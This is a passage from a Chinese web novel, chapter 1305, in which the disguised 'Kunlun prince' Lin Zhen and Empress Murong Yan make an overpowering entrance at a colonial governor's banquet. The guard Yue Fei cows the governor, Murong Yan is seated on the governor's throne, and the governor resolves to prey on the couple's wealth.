空气中,弥漫着香水、雪茄与顶级美食混合的奢华气息。 然而,在这片歌舞升平的表象之下,却暗流涌动杀机四伏。 大厅的每一个角落,都站着全副武装的卫兵。 他们的手,始终按在腰间的枪柄之上,那双警惕的眼睛死死地盯着大门口的方向。 而在那些看似不起眼的宾客之中,更是隐藏着不少气息诡异眼神冰冷的神秘人物。 他们,是来自“虚无党”的监视者。 今晚,这里不仅是一场欢迎晚宴。 更是一座,为那条过江猛龙,精心准备的天罗地网! 就在这时。 “昆仑王国王子殿下,王妃殿下,驾到——” 随着门外司仪一声高亢的唱喏。 整个喧闹的宴会大厅,瞬间安静了下来。 所有人的目光都齐刷刷地聚焦在了,那扇缓缓打开的黄金与象牙雕琢而成的巨大殿门之上。 他们都想亲眼看一看。 那个敢于当众挑衅总督权威,搅动了整个新巴达维亚风云的神秘的东方王子,究竟是何方神圣。 而也就在这时。 一个让在场所有男人都为之失神,所有女人都为之嫉妒的绝美身影,缓缓地从门外走了进来。 第1305章 女神只配为她提鞋! 当慕容嫣的身影,出现在那扇巨大的殿门之后,整个宴会大厅所有鎏金的光辉,瞬间黯淡。 钟鸣与乐声戛然而止。 所有人的呼吸都在这一刻被夺走,他们瞪大了眼睛,看着那个从门外走来的东方女子,大脑因极致的美而陷入一片空白。 那不是凡尘应有的美丽。 那是一种践踏审美印在灵魂深处的毁灭性存在! 她身着神凤降世裙。 极致的玄黑苏锦,吞噬了水晶吊灯投下的一切光线,将她身后的世界化作一片深邃死寂的宇宙。 而她,便是这宇宙间唯一的主宰。 裙摆上,用纯金丝线绣出的擎天巨凤,在摇曳的灯火中睁开了它冰冷的眼眸。 金色的凤羽流淌着神性的光辉,那双凤目扫过全场,带着神明俯瞰蝼蚁般的绝对漠然。 殿内所谓的贵族、军官、枭雄,在这一瞥之下,竟控制不住地生出想要跪地臣服的本能冲动。 最令人窒息的,是她那长达五丈的墨金色拖尾。 那不是裙摆,那是一条奔涌的黑色权欲天河,从殿门外浩浩荡荡地淹没了光洁的汉白玉地板,淹没了人群惊骇的脚边。 最终,它铺满了整个宴会大厅的中央。 一张由威严与死亡编织而成的地毯,霸道地宣告着—— 从她踏入的这一刻起,这里不再是总督府。 而是她,大乾女皇慕容嫣的行宫! “上帝……那是……那是神吗?”一位贵妇的羽扇失手滑落,发出一声轻响格外刺耳。 “维纳斯?不,神话里的女神只配为她提鞋!”一个富商喃喃自语,状若痴傻。 角落里,昨天在拍卖会上被羞辱的法国胖子杜邦,手里的酒杯“啪”的一声被捏碎,鲜红的酒液混合着血水顺着他肥硕的指缝滴落。他却毫无所觉,只是死死盯着慕容嫣,眼中是恐惧与更深的贪婪交织。 而在人群中几个不起眼的阴影里,那些来自“虚无党”的监视者,此刻也彻底乱了方寸。他们受过最严苛的训练,此刻却无法控制自己瞳孔的地震。心中只有一个念头在疯狂回响:情报错误!严重错误!这根本不是什么王子和王妃,这是神明降临!必须立刻上报最高等级的威胁警报! 所有男人的眼中都燃起了最原始的火焰,那是混杂着占有、征服与毁灭的病态欲望。 他们想冲上去撕碎那身神袍,将这不属于凡间的妖物狠狠蹂躏。 但他们不敢。 因为她身边站着的那个男人。 林臻。 纯金面具遮蔽了他的容颜,却遮不住那份视万物为无物的玩世不恭。 他没有理会周围因他妻子而疯狂的人群,只是牵着慕容嫣的手闲庭信步。 他走进的不是一座杀机四伏的天罗地网。 而是自家的后花园。 他的每一步都像一记重锤,精准地砸在众人狂跳的心脏上,让他们在极致的欲望中,感受到更极致的恐惧。 这个男人,要么是疯子。 要么,他就是足以制定规则的神! 就在这时,一个中气十足的笑声试图打破这令人窒息的凝滞。 “哦!我亲爱的王子殿下!还有您,美丽的如同星辰的王妃殿下!” 总督查尔斯·哈林顿,终于从剧烈的震撼中挣脱。 他脸上堆满热情的笑容,快步走下主位张开双臂,试图给林臻一个亲密的拥抱。 这是主人的姿态是权力的宣示,他要用一个拥抱重新夺回这座大厅的主导权。 他离林臻还有三步。 一个身影毫无征兆地出现在他面前。 是岳飞。 他没有拔刀,只是静静站着,一双眼眸冷冷地锁定哈林顿。 没有杀气外放。 但哈林顿周身的空气温度骤然降至冰点,他呼出的白气在眼前凝结成细微的冰晶。 他脚下光洁的汉白玉地砖,以岳飞为中心竟浮现出一层肉眼可见的白霜,并以极快的速度蔓延开来! 哈林顿脸上的笑容僵住了。 前冲的身体也僵住了。 他这辈子见过最强的王牌特工,最悍勇的皇家卫兵,在这个东方武士面前脆弱得像个婴儿。 他毫不怀疑,再往前一步,自己的头颅会被当场拧下来。 “总督大人。” 林臻淡漠的声音响起,不带一丝温度。 “我们东方人,不习惯和不熟的男人拥抱。” 话音落下他牵着慕容嫣,径直绕过全身僵硬的哈林顿。 他们的目标是宴会厅最上首,那张象征着新巴达维亚最高权力的总督宝座! 哈林顿身后的两名贴身卫兵是百里挑一的精锐,见状下意识地踏前一步手按上了腰间的枪柄。 然而,他们刚刚有所动作,那如同山岳般沉默的岳飞眼角的余光轻轻一瞥。 仅仅只是一瞥。 两名精锐卫兵的身体瞬间被冷汗浸透,握枪的手剧烈颤抖再也无法移动分毫,仿佛被无形的枷锁钉死在原地。 林臻与慕容嫣,在所有人的注视下,一步一步登上了代表权力顶峰的台阶。 他当着所有人的面,走到了那张镶满宝石的豪华座椅前。 他没有看那张椅子。 只是对着身后捧着慕容嫣裙摆的侍女,随意地挥了挥手。 两名侍女会意,将那长达五丈、华丽无比的墨金色苏锦拖尾,轻轻地、完整地铺在了总督的宝座之上。 那神圣威严的金色巨凤,恰好盘踞在宝座的靠背之上,冰冷的凤目俯瞰着整个大厅,仿佛这宝座本就是为它而生。 然后,林臻才转过身,像最体贴的骑士,亲自扶着自己的妻子。 缓缓坐下。 慕容嫣坐的,是总督的王座。 而他自己则随意地转身,坐在了慕容嫣脚下那冰冷的汉白玉台阶上。 这一幕,像一记无声的耳光,狠狠抽在全场所有人的脸上! 他……他让自己的妻子,坐上了总督的宝座! 而他自己,却像个仆人一样坐在她的脚下! 这颠覆认知的一幕,让所有人的脑子都成了一团浆糊。 哈林顿总督的瞳孔剧烈收缩,脸色由白转青又由青转红。 耻辱! 前所未有的耻辱! 他的第一反应,是拔出腰间的配枪,下令卫兵将这对胆大包天的东方男女当场射杀! 但他强行压下了这股冲动。 理智告诉他,那个叫岳飞的护卫,能在他的卫兵反应过来之前,杀死这里一半的人,包括他自己。 不能动手。 至少现在不能。 那这个东方王子,为何要做出如此疯狂、不合逻辑的举动? 哈林顿强迫自己冷静下来大脑飞速运转,试图为眼前这无法理解的一切,寻找一个合理的解释。 挥金如土,视规则如无物,当众羞辱总督最后,让一个女人坐上权力的王座,自己却甘为陪衬…… 一个个疯狂的碎片,在他的脑中飞速拼接。 突然,一道灵光闪过! 哈林顿那双灰色的眼眸之中,闪过一丝了然与更加炽热的贪婪。 原来如此。 他懂了。 这个所谓的“昆仑王国”根本不是什么正常国度,而是一个女人掌权的畸形母系社会! 这个看似强大、嚣张跋扈的“昆仑王子”,不过是讨好女王以换取地位的……面首!一个玩物! 这就能解释他为何如此挥霍,为何如此不按常理出牌! 他根本不是掌权者,他只是一个替女王花钱的工具!他所有张狂的行为,都只是为了取悦他身后的这个女人! 这个看似羞辱的举动,其实是他对自己女王最卑微的献媚! 想通了这一点,哈林顿心中因岳飞而生的最后一丝恐惧,烟消云散。 取而代之的,是顶级掠食者发现猎物弱点后的残忍与兴奋。 一个靠女人上位的“面首”,和一个拥有无尽财富却对世界一无所知的女王。 这简直是上帝送给他最完美的猎物! 他知道。 今晚,他赢定了。 那艘战舰、那个金发女军官他要。 而那个坐在王座之上,比女神更美的女王,连同她身后那足以让世界疯狂的财富…… 他,更要!